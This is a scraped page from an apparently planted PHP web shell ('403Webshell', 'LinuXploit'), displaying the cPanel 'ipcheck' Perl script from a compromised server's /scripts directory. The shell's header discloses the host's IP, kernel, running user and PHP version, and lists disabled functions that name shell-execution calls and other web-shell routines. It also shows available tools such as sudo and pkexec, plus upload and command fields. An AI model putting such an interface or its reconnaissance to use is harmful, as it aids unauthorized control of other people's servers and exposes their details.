403Webshell
Server IP : 103.119.228.120  /  Your IP : 3.133.129.8
Web Server : Apache
System : Linux v8.techscape8.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : nobody ( 99)
PHP Version : 5.6.40
Disable Function : shell_exec,symlink,system,exec,proc_get_status,proc_nice,proc_terminate,define_syslog_variables,syslog,openlog,closelog,escapeshellcmd,passthru,ocinum cols,ini_alter,leak,listen,chgrp,apache_note,apache_setenv,debugger_on,debugger_off,ftp_exec,dl,dll,myshellexec,proc_open,socket_bind,proc_close,escapeshellarg,parse_ini_filepopen,fpassthru,exec,passthru,escapeshellarg,escapeshellcmd,proc_close,proc_open,ini_alter,popen,show_source,proc_nice,proc_terminate,proc_get_status,proc_close,pfsockopen,leak,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,dl,symlink,shell_exec,system,dl,passthru,escapeshellarg,escapeshellcmd,myshellexec,c99_buff_prepare,c99_sess_put,fpassthru,getdisfunc,fx29exec,fx29exec2,is_windows,disp_freespace,fx29sh_getupdate,fx29_buff_prepare,fx29_sess_put,fx29shexit,fx29fsearch,fx29ftpbrutecheck,fx29sh_tools,fx29sh_about,milw0rm,imagez,sh_name,myshellexec,checkproxyhost,dosyayicek,c99_buff_prepare,c99_sess_put,c99getsource,c99sh_getupdate,c99fsearch,c99shexit,view_perms,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,parsesort,view_perms_color,set_encoder_input,ls_setcheckboxall,ls_reverse_all,rsg_read,rsg_glob,selfURL,dispsecinfo,unix2DosTime,addFile,system,get_users,view_size,DirFiles,DirFilesWide,DirPrintHTMLHeaders,GetFilesTotal,GetTitles,GetTimeTotal,GetMatchesCount,GetFileMatchesCount,GetResultFiles,fs_copy_dir,fs_copy_obj,fs_move_dir,fs_move_obj,fs_rmdir,SearchText,getmicrotime
MySQL : ON |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : ON |  Pkexec : ON
Directory :  /scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /scripts/ipcheck
#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/ipcheck                         Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;

use Text::Wrap;    # Perl core lib module

use Cpanel::SafeRun::Errors ();
use Cpanel::DIp::MainIP     ();
use Cpanel::NAT             ();
use Cpanel::Binaries        ();
use Cpanel::Sys::Hostname   ();
use Cpanel::Usage           ();
use Cpanel::IP::Loopback    ();
use Socket                  ();

$Text::Wrap::columns = 68;

sub usage {
    die <<'EOM';
ipcheck - Report on various error conditions relating to hostname / IP resolution

ipcheck [options]

    Options:
      --help    Brief help message
      --test    Test email formatting by generating an email with random simulated IP configuration errors
                    (NOTE: The subject and body of the email will both clearly indicate that it is only a simulation.)
    --verbose Even when no problems have been found, tells you so
EOM
}

my $test_mode = 0;
my $verbose   = 0;

Cpanel::Usage::wrap_options(
    {

        # Notice we do not need preference "require_left", because this script
        # takes option args *only*, so there is no need to force them to be to
        # the left of non-option args. If any non-option args are found, we'll
        # detect them and usage() out immediately below.

        strict => 1,    # allow ONLY the opts specified in hash below
        remove => 1,    # remove opts from cmd line after processing them

        #     require_left => 1,
    },
    \@ARGV,
    \&usage,
    {
        'test'    => \$test_mode,
        'verbose' => \$verbose,
    }
);

# ALL args to this script must be --xxx option args. If any
# other args are left after we've eliminated those, we have a
# problem.

@ARGV && usage();

my $rightip  = Cpanel::DIp::MainIP::getmainserverip();
my $hostname = Cpanel::Sys::Hostname::gethostname();
my @problems;
my $wrongip;

my $iaddr;
if ( my $iaddr = gethostbyname($hostname) ) {
    my $ip = Socket::inet_ntoa($iaddr);
    if ( $ip ne $rightip && !Cpanel::IP::Loopback::is_loopback($ip) ) {
        $wrongip = $ip;
        push( @problems, 'resolved_to_wrong_ip_msg' );
    }
}
else {
    #not found by perl builtin
    push( @problems, 'host_not_found_msg' );
}

my $host_bin = Cpanel::Binaries::path('host');
if ( !-x $host_bin ) {
    push( @problems, 'unable_resolve_no_host_binary_msg' );
}
else {
    my $dnsres = Cpanel::SafeRun::Errors::saferunallerrors( $host_bin, $hostname );
    if ( !$dnsres || $dnsres =~ /Host not found/i ) {

        #not found by linux binary
        push( @problems, 'host_not_found_msg' );
    }
    else {
        my ($dns_resip) = $dnsres =~ /(\d+\.\d+\.\d+\.\d+)/;
        if ( !$dns_resip ) {

            #not found by linux binary
            push( @problems, 'host_not_found_msg' );
        }
        elsif ( Cpanel::NAT::get_local_ip($dns_resip) ne $rightip && !Cpanel::IP::Loopback::is_loopback($dns_resip) ) {

            # The check for localhost is for symmetry with first method, above
            # (gethostbyname), where we likewise perform these two tests.

            push( @problems, 'resolved_to_wrong_ip_msg' );
            $wrongip = $dns_resip;
        }
    }
}

if (@problems) {
    require Cpanel::iContact::Class::Check::IP;

    print "[ipcheck] sent email!  Errors found\n";
    require Cpanel::Notify;
    Cpanel::Notify::notification_class(
        'class'            => 'Check::IP',
        'application'      => 'Check::IP',
        'constructor_args' => [
            'origin'   => $hostname,
            'problems' => \@problems,
            'right_ip' => $rightip,
            'wrong_ip' => $wrongip
        ]
    );
}
else {
    if ($verbose) {
        print "$0: OK: No IP-related problems have been found.\n";
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit